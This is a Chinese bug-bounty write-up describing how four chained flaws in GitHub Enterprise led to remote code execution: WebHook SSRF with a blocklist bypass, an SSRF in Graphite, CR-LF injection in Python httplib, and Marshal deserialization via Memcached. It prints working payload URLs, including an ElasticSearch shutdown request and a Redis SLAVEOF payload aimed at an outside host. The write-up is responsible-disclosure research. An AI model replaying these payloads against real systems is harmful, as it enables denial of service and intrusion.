挖洞经验 | 看我如何综合利用4个漏洞实现GitHub Enterprise 远程代码执行

2018-02-28 17:18:19 浏览数 (1)

大家好,距离上次漏洞披露已有半年之余,在这篇文章中,我将向大家展示如何通过4个漏洞完美实现GitHub Enterprise的RCE执行,该RCE实现方法与服务器端请求伪造技术(SSRF)相关,技术稍显过时但综合利用威力强大。最终,该RCE漏洞被GitHub官方认定为3周年众测项目的最佳漏洞,我也因此获得了$12500美元赏金。

在我今年受邀参加的BlackHat大会演讲PPT中,有更多关于SSRF技术的深度剖析,请大家捧场观看《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages》<点击文末的阅读原文查看>!这也是我第一次在这般高大上场合的英文演讲,非常难忘!下面我们言归正传,一起来说说这个GitHub Enterprise企业版RCE漏洞的实现方法:

说明

在我上一次对GitHub Enterprise SQL注入漏洞的发现中,曾提及利用Ruby代码破解GitHub混淆保护机制和发现SQL注入漏洞的方法,之后,就有一些优秀的漏洞挖掘者及时关注GitHub Enterprise并发现了多个上等漏洞,如:

The road to your codebase is paved with forged assertions by ilektrojohn

GitHub Enterprise Remote Code Execution by iblue

我表示后悔沮丧,为什么我就发现不了呢!?所以,接下来我打算努力去挖掘那些别人想像不到的高危漏洞。

挖洞开始

第1个漏洞 - 表面无用的SSRF漏洞

在研究GitHub Enterprise程序时,我发现了一个名为WebHook的有趣功能,它能在某些特定GIT命令执行时自定义HTTP回调。如你可定义如下回调URL:

https://///settings/hooks/new

并通过提交文件触发执行它,对此,GitHub Enterprise会利用一个HTTP请求提示你。实际的Payload和执行请求如下:

Payload URL:

http://orange.tw/foo.php

回调请求(Callback Request):

代码语言:javascript复制
POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...

另外,由于GitHub Enterprise使用Ruby Gem的faraday库来获取外部资源,并通过Gem的faraday-restrict-ip-addresses功能来防止用户请求内部服务。这个Gem功能就像一个黑名单机制,但我们可以通过RFC 3986定义的稀有IP地址格式(Rare IP Address Formats)来绕过它,想想,在Linux系统中,0代表的是localhost,所以有以下PoC:

http://0/

OK,现在我们的一个SSRF漏洞成型了,但却发挥不了作用,为什么呢?这是因为该SSRF漏洞存在以下几方面限制:

只支持POST方法 只允许HTTP和HTTPS方式 不产生302重定向 faraday中不存在CR-LF命令注入 无法对POST数据和HTTP头信息进行控制

我们唯一能控制的就是其中的Path(路径)部分。但值得一提的是,该SSRF漏洞可导致拒绝服务攻击(DoS)。

由于GitHub Enterprise的9200端口为绑定了一个ElasticSearch搜索服务,当使用关机命令时,该ElasticSearch服务不会对POST数据进行检查,因此,我们可随意对它的REST-ful API接口进行操作,可有如下DoS的PoC:

http://0:9200/_shutdown/

第2个漏洞 - 内部Graphite服务的SSRF

第1个SSRF漏洞利用存在诸多限制,所以我继续测试其内部服务看是否能为我所用。这还真是个大工程,因为其中包含了数种HTTP服务,每种服务都由C、C 、Go、Python和Ruby分别实现。在经过数天的研究之后,我发现其中一个8000端口名为Graphite的服务,该服务负责高度扩展地向用户实时显示系统当前状态,其为Python编写的开源项目(可点此下载源码)。

在对Graphite源码的分析后,我又快速发现了另外一个SSRF漏洞,它存在于以下文件

webapps/graphite/composer/views.py

代码语言:javascript复制
def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path  = '?'   query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

从上述代码可以看到,Graphite服务会接收用户输入的url地址然后对该地址进行获取利用!所以,这样的话,我们就可以利用第1个SSRF漏洞来触发这第2个SSRF漏洞,最后还可将这两个漏洞组合成一个SSRF执行链。合成的SSRF执行链Payload如下:

代码语言:javascript复制
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

第二个SSRF漏洞的请求:

代码语言:javascript复制
$ nc -vvlp 12345
...
GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK,现在我们已经成功地将基于POST的SSRF漏洞改造成了基于GET的SSRF漏洞了。但仍然不能直接实现有效的漏洞利用,再挖挖看!

第3个漏洞 - Python语言的CR-LF命令注入

可以从Graphite源码中看到,Graphite使用Python的httplib.HTTPConnection方法来获取外部资源。在经过一些研究测试后,我发现httplib.HTTPConnection方法中竟存在一个CR-LF命令注入漏洞!这样的话,我们就可以在HTTP协议中嵌入恶意Payload了。

CR-LF注入PoC:

代码语言:javascript复制
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/
i_am_payload
Foo
:
代码语言:javascript复制
$ nc -vvlp 12345
...
GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

该注入漏洞在整个漏洞利用链中发挥的作用非常关键。现在,我就可以在这个SSRF漏洞执行链中引入其他协议了,比如,如果想拿Redis下手,可以尝试使用下列Payload:

代码语言:javascript复制
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/
SLAVEOF orange.tw 6379

说明:由于Redis的SLAVEOF命令可以允许执行带外数据,所以,这对某些Blind-SSRF实现非常有效。

现在漏洞利用思路已经柳暗花明,但一些可引入协议还存在问题,如:

SSH、MySQL和SSL协议会失效 由于Python2版本原因,第2个SSRF漏洞所使用的Payload只允许0x00到0x8F的字节数据通过

顺便提下,还有很多利用HTTP引入协议的利用方法,如基于Linux Glibc功能的SSL SNI引入协议,以及CVE-2016-5699的Python标注头注入等,具体参看我的BlackHat演讲PPT。

第4个漏洞 - 封装模块存在反序列化漏洞

现在的问题是,我该选择哪个协议进行引入呢?另外,我还花费了大把时间来测试控制Redis或Memcached之后可以触发的漏洞。

在对大量源码的分析过程中,我对GitHub在Memcached中存储Ruby对象的机制觉得好奇,一番研究后发现,GitHub Enterprise使用Ruby Gem的Memcached方式来处理缓存,而其通过Marshal模块进行封装。这下好了,大家知道Marshal模块本来就不安全且存在反序列化漏洞(点此参考)。更上一层楼了!我们可以使用前述的SSRF漏洞执行链来把恶意Ruby对象存储在Memcached中,当GitHub要获取缓存时,Ruby Gem memcached就会自动执行反序列化操作,这种效果就会是:哇,远程代码执行!

GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:

回过头来,我们总结梳理一下整个漏洞利用过程:

第1个SSRF漏洞,用来绕过WebHook的保护机制 第2个SSRF漏洞,存在于Graphite服务中 结合第1个和第2个SSRF漏洞,组成SSRF漏洞执行链 发现SSRF执行链中的CR-LF命令注入漏洞 利用Memcached方式的Marshal反序列化漏洞,注入恶意Marshal对象 触发远程代码执行

最终PoC如下:

视频演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html

Exploit代码

修复措施

GitHub采取了以下修复措施:

增强了Gem的faraday-restrict-ip-addresses功能 采用了自定义Django中间件来防止攻击者从外部访问http://127.0.0.1:8000/render/ 加强iptables规则,限制User-Agent: GitHub-Hookshot访问模式

漏洞报送进程

2017年01月23日23:22 通过HackerOne平台将漏洞上报GitHub

2017年01月23日23:37 GitHub进行漏洞分类

2017年01月24日04:43 GitHub确认漏洞,并回应正在修复

2017年01月31日14:01 更新版本的GitHub Enterprise 2.8.7发布

2017年02月01日01:02 GitHub回复称漏洞成功修复

2017年02月01日01:02 收到GitHub奖励的$7500刀漏洞赏金

2017年03月15日02:38 GitHub认定该漏洞为年度最佳漏洞,并再次向我奖励了$5000刀

0 人点赞